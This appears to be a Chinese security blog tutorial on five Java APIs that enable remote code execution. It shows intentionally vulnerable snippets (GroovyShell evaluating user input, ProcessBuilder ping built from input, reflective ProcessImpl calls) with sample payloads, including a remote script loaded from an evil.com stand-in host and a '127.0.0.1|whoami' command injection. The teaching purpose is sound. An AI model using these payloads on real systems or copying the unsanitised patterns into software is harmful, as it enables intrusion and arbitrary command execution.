JavaSec 基础之 RCE

java 五大常见 RCE API

Runtime

最基本的 RCE 利用

Runtime.getRuntime().exec(cmd)

getRuntime() 常用于执行本地命令,使用频率较高

LoadJs

public void jsEngine(String url) throws Exception {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
    String payload = String.format("load('%s')", url);
    engine.eval(payload, bindings);
}

通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行远程恶意代码

假设公网上有一恶意 js 脚本,该脚本导入了 java 环境执行 java 命令,我们就可以远程包含这个文件执行其恶意代码

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}

payload

url=http://evil.com/java/1.js

⚠️ 在Java 8之后移除了ScriptEngineManager的eval

groovy

Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码

GroovyShell可动态运行groovy语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce。

@GetMapping("/groovy")
    public String groovyExec(String cmd, Model model) {
        GroovyShell shell = new GroovyShell();
        try {
            shell.evaluate(cmd);
            model.addAttribute("results", "执行成功!!!");
        } catch (Exception e) {
            e.printStackTrace();
            model.addAttribute("results", e.toString());
        }
        return "basevul/rce/groovy";
    }

payload

http://127.0.0.1:8000/home/rce/groovy?cmd='calc'.execute()

ProcessBuilder

Process类是一个抽象类(所有的方法均是抽象的),封装了一个进程(即一个执行程序)。

Process 类提供了执行从进程输入、执行输出到进程、等待进程完成、检查进程的退出状态以及销毁(杀掉)进程的方法。

ProcessBuilder.start() 和 Runtime.exec 方法创建一个本机进程,并返回 Process 子类的一个实例,该实例可用来控制进程并获取相关信息。

创建的子进程没有自己的终端或控制台。它的所有标准 io(即 stdin,stdout,stderr)操作都将通过三个流 (getOutputStream(),getInputStream(),getErrorStream()) 重定向到父进程,通过流的形式进行读取。

//        String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};
        String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};
        StringBuilder sb = new StringBuilder();
        String line;
        String results;

        // 利用指定的操作系统程序和参数构造一个进程生成器
        ProcessBuilder pb = new ProcessBuilder(cmdList);
        pb.redirectErrorStream(true);

        // 使用此进程生成器的属性启动一个新进程
        Process process = null;
        try {
            process = pb.start();
            // 取得命令结果的输出流
            InputStream fis = process.getInputStream();
            // 用一个读输出流类去读
            InputStreamReader isr = new InputStreamReader(fis, "GBK");
            // 用缓存器读行
            BufferedReader br = new BufferedReader(isr);
            //直到读完为止
            while ((line = br.readLine()) != null) {
                sb.append(line).append(System.lineSeparator());
            }
            results = sb.toString();
        } catch (IOException e) {
            e.printStackTrace();
            results = e.toString();

payload

?ip=127.0.0.1|whoami

ProcessImpl

ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类

对于ProcessImpl类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的

该类非Public修饰,所以在不同包下只能通过反射的方式去调用执行。

public static String vul(String cmd) throws Exception {
    // 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
    Class clazz = Class.forName("java.lang.ProcessImpl");

    // 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
    Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

    // 使用 method.setAccessible 方法将 start 方法设为可访问
    method.setAccessible(true);

    // 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
    Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
     

payload

cmd=whoami
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值